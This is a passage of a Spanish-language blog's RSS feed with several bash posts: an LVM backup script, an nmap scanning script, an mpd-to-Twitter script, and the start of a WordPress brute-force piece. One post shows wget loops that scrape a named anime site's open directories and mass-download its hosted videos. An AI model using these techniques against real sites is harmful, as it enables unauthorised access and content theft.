        echo "Respaldando $server ..."
        ssh -i $IDENTITYFILE $server "lvdisplay" >/tmp/lvdisplay_temp
        lvdisplay=$(awk '
                /LV Name/ { name = $3 }
                /VG Name/ { print name","$3 } ' /tmp/lvdisplay_temp)
        for _logicalv in $lvdisplay;
        do
                lvname=$(echo $_logicalv |cut -f1 -d ","|cut -f4 -d "/")
                logicalv=$(echo $_logicalv |cut -f2 -d ",")
                echo -e "\tVolumen Logico: $lvname"
                ssh $server "lvcreate --size 100m --snapshot --name $lvname-snap /dev/$logicalv/$lvname"
                ssh $server "mount /dev/$logicalv/$lvname-snap $DIR_SNAPSHOT"
                ssh $server "mkdir $NFS$server"
                ssh $server "tar cfj $NFS$server/snapshot_$lvname-$DATE.tar.bz2 $DIR_SNAPSHOT"
                ssh $server "umount $DIR_SNAPSHOT"
                ssh $server "dd if=/dev/$logicalv/$lvname-snap of=$NFS$server/image_$lvname-$DATE.img"
                ssh $server "lvremove -f /dev/$logicalv/$lvname-snap"
                echo -e "\tArchivo imagen: $NFS$server/image_$lvname-$DATE.img"
                echo -e "\tArchivo tarball: $NFS$server/snapshot_$lvname-$DATE.tar.bz2"
        done
done
scp /tmp/lvdisplay_temp $server:$NFS$server/lvdisplay
</pre>
<p>El script trabaja con la salida del comando <strong>lvdisplay</strong> que entrega una salida con los detalles de cada volumen lógico. Lee un fichero llamado <em>servidores.list</em> y hace un recorrido línea por línea, conectándose a cada servidor y ejecutando las instrucciones necesarias. Para hacer el proceso más eficiente y automatizado es necesario, previamente, copiar todas las claves públicas a cada servidor, para evitar la autentificación.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fimagenes-y-snapshots-respaldo-de-servidores%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/imagenes-y-snapshots-respaldo-de-servidores/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/imagenes-y-snapshots-respaldo-de-servidores/"  data-text="Imagenes y snapshots: Respaldo de servidores" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/imagenes-y-snapshots-respaldo-de-servidores/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Asaltando un sitio de series online</title>
		<link>http://blog.zerial.org/seguridad/asaltando-un-sitio-de-series-online/</link>
		<comments>http://blog.zerial.org/seguridad/asaltando-un-sitio-de-series-online/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 00:33:35 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[ocio]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[series]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1545</guid>
		<description><![CDATA[De aburridos, junto con E.A.S (o xwall), nos dedicamos a buscar un sitio que brinde el servicio de series de en linea para encontrar la forma de tomar prestadas todas las series alojadas en el servidor. Imaginense algo como YouTube, pero tan vulnerable que fuese posible extraer todos los videos que hay en la red. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1546" title="geekthief" src="http://blog.zerial.org/wp-content/uploads/2010/02/geekthief.jpg" alt="" width="100" height="100" />De aburridos, junto con E.A.S (o xwall), nos dedicamos a buscar un sitio que brinde el servicio de series de en linea para encontrar la forma de tomar prestadas todas las series alojadas en el servidor. Imaginense algo como YouTube, pero tan vulnerable que fuese posible extraer todos los videos que hay en la red.<br />
Bien, nuestro objetivo fue un sitio de series de animé en línea llamado &#8220;<a href="http://efectoanime.com" target="_blank"><em>Efecto animé</em></a>&#8221; que, mediante el sitio <em><a href="http://www.satanick.net" target="_blank">Satanick.net</a> </em>logramos descargar todas las series y capítulos que se servían.</p>
<p><strong>La teoría</strong> es sencilla, la idea era encontrar un link directo a los distintos archivos multimedia o bien un enlace a algun directorios que los contenga, para luego descargar todo el contenido del directorio.<br />
<strong>El fallo</strong> por parte de ellos fue dejar que se liste el contenido de directorios, de esta forma pudimos tener acceso a informacón como la siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/02/listing_thundercats.png"><img class="aligncenter size-medium wp-image-1548" title="listing_thundercats" src="http://blog.zerial.org/wp-content/uploads/2010/02/listing_thundercats-235x300.png" alt="" width="235" height="300" /></a></p>
<p>Luego, con un poco de magia, simplemente descargamos el contenido de todo ese directorio.</p>
<p><span id="more-1545"></span></p>
<p>Todo fue gracias al sitio &#8220;<em>Satanick</em>&#8221; el cual contiene un flash que provee al usuario poder ver series en línea, <span style="text-decoration: line-through;">afortunadamente</span> lamentablemente si vemos el código fuente nos encontramos con la siguiente sorpresa:</p>
<pre name="code" class="html">

<embed id="mpl" name="mpl" src="http://satanick.fxanime.org/wp-content/uploads/utilidades/player10.swf" width="800" height="460" type="application/x-shockwave-flash" quality="high" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" flashvars="&amp;file=http://efectoanime.com/server/dn0te/06.mp4&amp;logo=http://satanick.net/wp-content/uploads/2010/01/tondr.png&amp;#&amp;backcolor=111111&amp;image=http://satanick.fxanime.org/wp-content/uploads/2009/10/canavassata.jpg&amp;frontcolor=cccccc&amp;lightcolor=00aeff&amp;controlbar=over&amp;volume=100&amp;autostart=true"></embed>
<input type="button" value="Ir a lista de capitulos" onclick="window.location.href='http://satanick.net/?page_id=3692'" />
</pre>
<p>Miren detenidamente el código a ver si encuentran algo que nos ayude a nuestro propósito. Encontramos:</p>
<p><strong>file=http://efectoanime.com/server/dn0te/06.mp4</strong></p>
<p>Con esto ya podemos deducir que todos los videos se encuentran en la URL http://efectoanime.com/server/XXX, donde XXX corresponde al nombre de la serie. Como vimos en la imágen que les mostré anteriormente (donde se listaban los archivos del directorio thundercats/), está permitido listado de archivos de un directorio. Nuestro amigo <strong>wget</strong> será la salvación, ya que con el parametro <strong>-r</strong> es posible descargar un directorio.</p>
<p>Bien, ahora nos falta automatizar el proceso. Las URL de Satanick, donde se encuetran los videos, son de la forma http://satanick.com/?page_id=XXX, por lo que podemos asumir que cada ID corresponde a una página y en cada página es posible que encontremos links como el que les acabo de mostrar (el html de más arriba). Entonces mi idea fue crear un script que recorriera todas las páginas desde XXX hasta XXX+n. Pensando que si lo hago desde 0 se iba a demorar una eternidad, solo lo hice desde el 3000 hasta el 10000, luego cada página examinada deberá ser <em>parseada</em> y se debe encontrar un patrón que nos permita obtener la URL donde se encuentran los videos.<br />
Yo lo hice de la siguiente forma:</p>
<p><code>for x in $(seq 3000 10000); do wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&amp;amp;' {'print $2'}&gt;&gt; lista_videos_satanick; done</code></p>
<p>Si lo queremos ver más bonito y en forma de &#8220;script&#8221;:</p>
<pre name="code" class="c">#!/bin/bash
for x in $(seq 3000 10000);
do
   wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&amp;' {'print $2'}>> lista_videos_satanick;
done</pre>
<p>El archivo &#8220;<em>lista_videos_satanick</em>&#8221; va a guardar todas las URL que encuentre y quedarás más o menos así:</p>
<blockquote><p>file=http://efectoanime.com/server/hades/h29.mp4<br />
file=http://efectoanime.com/server/hades/h29.mp4<br />
file=http://efectoanime.com/server/hades/h30.mp4<br />
file=http://efectoanime.com/server/hades/h30.mp4<br />
file=http://efectoanime.com/server/hades/h31.mp4<br />
file=http://efectoanime.com/server/hades/h31.mp4<br />
file=http://efectoanime.com/server/hades/h31.mp4<br />
file=http://efectoanime.com/server/thundercats/Th71.mp4<br />
file=http://efectoanime.com/server/thundercats/Th71.mp4<br />
file=http://efectoanime.com/server/thundercats/Th71.mp4<br />
file=http://efectoanime.com/server/thundercats/Th72.mp4<br />
file=http://efectoanime.com/server/thundercats/Th72.mp4<br />
file=http://efectoanime.com/server/thundercats/Th72.mp4<br />
file=http://efectoanime.com/server/thundercats/Th73.mp4<br />
file=http://efectoanime.com/server/thundercats/Th73.mp4<br />
file=http://efectoanime.com/server/thundercats/Th73.mp4<br />
file=http://efectoanime.com/server/thundercats/Th74.mp4<br />
file=http://efectoanime.com/server/thundercats/Th74.mp4
</p></blockquote>
<p>Lo único que debemos hacer es quitarle el principio &#8220;file=&#8221; y quitar las líneas repetidas:<br />
<code>sed -i 's/file=//g' lista_videos_satanick</code><br />
Nos quedará algo así:</p>
<blockquote><p>http://efectoanime.com/server/shippuden/Shippuden_144.mp4</p>
<p>http://efectoanime.com/server/bl34ch/B255.mp4</p>
<p>http://efectoanime.com/server/shippuden/Shippuden_145.mp4</p>
<p>http://efectoanime.com/server/md/612.mp4</p>
<p>http://efectoanime.com/server/bl34ch/B256.mp4</p>
<p>http://efectoanime.com/server/shippuden/Shippuden_146.mp4</p>
<p>http://efectoanime.com/server/thundercats/Th90.mp4</p>
<p>http://efectoanime.com/server/thundercats/Th92.mp4</p>
</blockquote>
<p>De todas estas URL lo que nos interesa es sólo <strong>http://efectoanime.com/server/XXX</strong>, entonces lo arreglamos:</p>
<p><code>awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick</code></p>
<p>Quedará algo así:</p>
<blockquote><p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/bl34ch</p>
<p>http://efectoanime.com/server/bl34ch</p>
<p>http://efectoanime.com/server/bl34ch</p>
<p>http://efectoanime.com/server/shippuden</p>
<p>http://efectoanime.com/server/shippuden</p>
<p>http://efectoanime.com/server/shippuden</p>
<p>http://efectoanime.com/server/MD</p>
<p>http://efectoanime.com/server/MD</p>
<p>http://efectoanime.com/server/MD</p></blockquote>
<p>Ahora debemos eliminar las repetidas:</p>
<p><code># awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick |sort|uniq -d</p>
<p>http://efectoanime.com/server/avatar</p>
<p>http://efectoanime.com/server/bl34ch</p>
<p>http://efectoanime.com/server/Chihiro</p>
<p>http://efectoanime.com/server/dn0te</p>
<p>http://efectoanime.com/server/hades</p>
<p>http://efectoanime.com/server/lcanvas</p>
<p>http://efectoanime.com/server/manga</p>
<p>http://efectoanime.com/server/md</p>
<p>http://efectoanime.com/server/MD</p>
<p>http://efectoanime.com/server/sayns</p>
<p>http://efectoanime.com/server/shippuden</p>
<p>http://efectoanime.com/server/thundercats</p>
<p>http://efectoanime.com/server/trailers</p>
<p>http://efectoanime.com/server/Vshow</code></p>
<p>Luego un script que descarge todos los contenidos de los directorios:</p>
<p><code>for link in $(cat lista_videos_satanick); do wget -r $link; done</code></p>
<p>Y listo.</p>
<blockquote><p><strong>1.6G	Death Note.tar<br />
1.6G	Saga de Hades.tar</strong>
</p></blockquote>
<h3>ACTUALIZADO <em>16/02/2009</em></h3>
<p>Luego de los comentarios de los responsables de los sitios, dando las gracias y diciendo que no les importa porque de todas formas tiene una marca de agua, etc etc.. Los directorios ya no se pueden listar:</p>
<blockquote><p>http://efectoanime.com/server/thundercats/</p></blockquote>
<p>Al fin y al cabo, si les importó el tema. Me alegro que les sirviera el post.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fasaltando-un-sitio-de-series-online%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/asaltando-un-sitio-de-series-online/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/asaltando-un-sitio-de-series-online/"  data-text="Asaltando un sitio de series online" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/asaltando-un-sitio-de-series-online/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
<enclosure url="http://efectoanime.com/server/dn0te/06.mp4" length="46993332" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/hades/h29.mp4" length="55590277" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/hades/h30.mp4" length="55734802" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/hades/h31.mp4" length="55676125" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th71.mp4" length="49280711" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th72.mp4" length="49235801" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th73.mp4" length="49207779" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th74.mp4" length="49227983" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/shippuden/Shippuden_144.mp4" length="41486718" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/bl34ch/B255.mp4" length="53645980" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/shippuden/Shippuden_145.mp4" length="63605490" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/bl34ch/B256.mp4" length="36685761" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/shippuden/Shippuden_146.mp4" length="39210296" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th90.mp4" length="37847843" type="video/mp4" />
<enclosure url="http://efectoanime.com/server/thundercats/Th92.mp4" length="37878330" type="video/mp4" />
		</item>
		<item>
		<title>Script para escanear la red en busca de servidores y servicios</title>
		<link>http://blog.zerial.org/linux/script-para-escanear-la-red-en-busca-de-servidores-y-servicios/</link>
		<comments>http://blog.zerial.org/linux/script-para-escanear-la-red-en-busca-de-servidores-y-servicios/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 13:40:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[puertos]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[servicios]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1515</guid>
		<description><![CDATA[Hace un par de días tuve la necesidad de escanear 3 redes completas, mas de 50 direcciones ip, en busca de servicios que corrieran en ellas. Obviamente, no iba a ingresar a cada servidor y hacer un netstat o revisar uno por uno que servicios tenia instalado, si para eso existe nmap! Lo que hicste [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2010/02/eyes_scan1.png"><img class="aligncenter size-full wp-image-1519" title="eyes_scan" src="http://blog.zerial.org/wp-content/uploads/2010/02/eyes_scan1.png" alt="" width="422" height="80" /></a></p>
<p>Hace un par de días tuve la necesidad de escanear 3 redes completas, mas de 50 direcciones ip, en busca de servicios que corrieran en ellas. Obviamente, no iba a ingresar a cada servidor y hacer un <em>netstat</em> o revisar uno por uno que servicios tenia instalado, si para eso existe <a href="http://nmap.org" target="_blank"><strong>nmap</strong></a>!<br />
Lo que hicste fue separar los rangos de ip en archivos distintos, para tener un orden y escanear la red en orden según los segmentos y luego hice un script que leia cada archivo y escaneaba la ip en busca de servicios, la salida del nmap la <em>parseaba</em> y lo guarda en un archivo separado por comas. En un principio el script mostraba todo en el <strong>stdout</strong> pero para que quedara más ordenado, preferí hacerlo en un CSV para poder abrirlo con <em>oocalc</em>.<br />
El script me genera un archivo con la siguiente información:</p>
<p><strong>host, IP, Servicio, Puerto, Version</strong></p>
<p><span id="more-1515"></span></p>
<p>El script es el siguiente:</p>
<pre name="code" class="c">
#!/bin/bash

nmap=/usr/bin/nmap
params="-sV"
tmp_file=/tmp/nmap_scanner_output
output=Servidores.csv
export SCANNER_ERROR=0

echo "host,IP,Servicio,Puerto,Version" >> $output
for ips in ips.*
do
	echo "Analizando $ips ..."
	for ip in $(cat $ips)
	do
		echo -e "\t-> $ip ..."
		ping -c 1 $ip 1>/dev/null 2>&#038;1|| export SCANNER_ERROR=1
		if [ $SCANNER_ERROR = "1" ]; then
			echo -e "\t\t- Host no activo"
		fi
		if [ $SCANNER_ERROR = "0" ]; then
			$nmap $params $ip |grep -v "Starting Nmap" |grep -v "Nmap scan report" |grep -v "Host is up" |grep -v "Not shown" |grep -v "Service detection performed" |grep -v "Nmap done" > $tmp_file
			export _host=$(grep "Service Info" $tmp_file |sed 's/,//g'|grep "Host" |awk -F ' ' {'print $4'} |sed 's/;//g')
			grep tcp $tmp_file |scanner_ip=$ip awk -F " " '{print ENVIRON["_host"]","ENVIRON["scanner_ip"]","$3","$1","$4,$5,$6,$7,$8;}' >>$output
			echo -e "\n" >>$output
		fi
		export SCANNER_ERROR=0
	done
done
</pre>
<p>El script necesita para funcionar archivos con el listado de direcciones ip. Los (o el) archivo(s) se deben llamar &#8220;<em>ips.<algo></algo></em>&#8220;. En mi caso, tengo los siguientes archivos:<br />
<code>ips.192 ips.10 ips.172</code><br />
Dentro de cada archivo hay direcciones del tipo 192.168.0.X, 10.0.0.X, 172.20.20.X&#8230;</p>
<p><code>$ sh scan.sh<br />
Analizando ips.10 ...<br />
	-&gt; 10.0.0.2 ...<br />
	-&gt; 10.0.0.3 ...<br />
	-&gt; 10.0.0.11 ...<br />
		- Host no activo<br />
	-&gt; 10.0.0.20 ...<br />
		- Host no activo<br />
	-&gt; 10.0.0.21 ...<br />
		- Host no activo<br />
	-&gt; 10.0.0.70 ...<br />
	-&gt; 10.0.0.72 ...<br />
	-&gt; 10.0.0.73 ...<br />
Analizando ips.172 ...<br />
	-&gt; 172.20.20.2 ...<br />
	-&gt; 172.20.20.3 ...<br />
Analizando ips.192 ...<br />
	-&gt; 192.168.0.55 ...<br />
	-&gt; 192.168.0.101 ...</p>
<p>[...]</code></p>
<p>El script generará un output a un archivo llamado &#8220;Servidores.csv&#8221;, el cual lo podemos encontrar en la misma ruta donde tenemos el script.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-para-escanear-la-red-en-busca-de-servidores-y-servicios%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/script-para-escanear-la-red-en-busca-de-servidores-y-servicios/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/script-para-escanear-la-red-en-busca-de-servidores-y-servicios/"  data-text="Script para escanear la red en busca de servidores y servicios" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/script-para-escanear-la-red-en-busca-de-servidores-y-servicios/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>mpd-twitter: Publicar en twitter lo que estas escuchando</title>
		<link>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/</link>
		<comments>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 19:56:18 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[archlinux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mpc]]></category>
		<category><![CDATA[mpd]]></category>
		<category><![CDATA[music player daemon]]></category>
		<category><![CDATA[pkgbuild]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[twtiter]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1370</guid>
		<description><![CDATA[Ultimamente he estado usando el Music Player Daemon (MPD) para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de trending topic el hashtag #nowplaying, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en [...]]]></description>
			<content:encoded><![CDATA[<p>Ultimamente he estado usando el <a href="http://mpd.wikia.com/" target="_blank">Music Player Daemon (MPD)</a> para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de <a href="http://twitter.com/#search?q=%23nowplaying" target="_blank"><em>trending topic</em> el hashtag #nowplaying</a>, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en bash que me permite publicar lo que estoy escuchando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png"><img class="aligncenter size-full wp-image-1371" title="shot_nowplaying" src="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png" alt="" width="600" height="200" /></a></p>
<p>El script, llamado <a href="http://dev.zerial.org/mpd-twitter" target="_blank">mpd-twitter</a>,  usa el cliente <strong>mpc</strong> para conectarse a <strong>mpd</strong> y obtener el artista y nombre de la reproducción actual, hacer el <em>parseo</em> necesario y posteriormente publica un estado en twitter.</p>
<p><span id="more-1370"></span></p>
<pre name="code" class="c">
#!/bin/bash
#
# Author: Zerial <fernando @zerial.org>
# Version: 0.1
# URL: http://dev.zerial.org/mpd-twitter
# License: GPL
#

CONF_FILE=$HOME/.mpd-twitter
USER=$(grep ^USERNAME $CONF_FILE |cut -f 2 -d "=")
PASS=$(grep ^PASSWORD $CONF_FILE |cut -f 2 -d "=")

if [ -f $CONF_FILE ]; then
	BEFORE=$(grep ^BEFORE $CONF_FILE |cut -f 2 -d "=")
	AFTER=$(grep ^AFTER $CONF_FILE |cut -f 2 -d "=")
else
	Xdialog --title "Error" --beep --msgbox "Can't read your local config file. Please copy the /usr/local/share/mpd-twitter/mpd-twitter.local to $HOME/.mpd-twitter" 200 100
	exit
fi

CURRENT_SONG=$(mpc current)
MY_UPDATE="$BEFORE $CURRENT_SONG $AFTER"

curl -u "$USER:$PASS" -d "status=$MY_UPDATE" -d "source=mpd-twit" "http://twitter.com/statuses/update.json"
exit
</fernando></pre>
<p>El archivo de configuración, que debe estar ubicado en <strong>~/.mpd-twitter</strong>, es:</p>
<pre name="code" class="c">
#
# Local Config file for mpd-twitter
#
#
# Config the username and password
#
USERNAME=your_username
PASSWORD=your_password
#
# Text before and text after the song.
# example:
# if BEFORE=Listening and AFTER=(powered by xxx)
# mpd-twitter will send "Listening <current song> (powered by xxx)"
#
BEFORE=#nowplaying
AFTER=(powered by mpd)
</current></pre>
<p>Para los usuarios de Archlinux que quieran probarlo, he creado un PKGBUILD:</p>
<pre name="code" class="php">
# Contributor: Zerial <fernando @zerial.org>
pkgname=mpd-twitter
pkgver=0.1
pkgrel=4
pkgdesc="Publish on twitter what you are listening on MPD"
arch=('i686' 'x86_64')
url="http://dev.zerial.org/mpd-twitter"
license=('GPL')
depends=('xdialog' 'curl' 'mpc')
source=(http://dev.zerial.org/mpd-twitter/${pkgname}_${pkgver}.tar.gz)
md5sums=('3d73b79fa38bd60f637386146137999b')

build(){
	cd $startdir/src/$pkgname
	install -d $startdir/pkg/usr/local/share/mpd-twitter
	mkdir $startdir/pkg/usr/bin
	install -m744 $startdir/src/$pkgname/mpd-twitter.local $startdir/pkg/usr/local/share/mpd-twitter/
	install -m755 $startdir/src/$pkgname/mpd-twitter $startdir/pkg/usr/bin/
}
</fernando></pre>
<p>Tambien lo pueden encontrar <a href="http://aur.archlinux.org/packages.php?ID=33483">en el repositorio AUR</a>.</p>
<p>La idea es lanzar el script con algun hotkey de nuestro gestor de ventanas y asi, cada véz que quieras mostrar lo que estás escuchando, simplemente precionas la combinacion de teclas que configuraste. Por ejemplo, en DWM la he configurado asi:</p>
<pre name="code" class="c">
[...]
/* commands */
static const char *mpdtwittercmd[] = { "mpd-twitter", NULL };
static Key keys[] = {
[...]
      { MODKEY|ShiftMask,                     XK_t,   spawn,  {.v = mpdtwittercmd } },
[...]
</pre>
<p>De esta forma, cada vez que presiono Alt+Shift + T, aparece en twitter lo que estoy escuchando.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/"  data-text="mpd-twitter: Publicar en twitter lo que estas escuchando" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Ataque de fuerza bruta a WordPress</title>
		<link>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 12:29:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1175</guid>
		<description><![CDATA[Los ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques. Determinar los nombres de usuarios es tan sencillo [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1196" style="margin: 4px;" title="bruteforce" src="http://blog.zerial.org/wp-content/uploads/2009/12/bruteforce-300x230.jpg" alt="bruteforce" width="192" height="147" />Los ataques por <em>fuerza bruta</em> a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de <strong>Throttling Login Attempts </strong>o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.<br />
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos &#8220;Iniciar Sesion&#8221; el sistema nos dirá &#8220;<em>Usuario incorrecto</em>&#8221; si es que el usuario <strong>no</strong> existe o bien &#8220;<em>Password incorrecta</em>&#8220;, en el caso que el usuario <strong>si</strong> exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.<br />
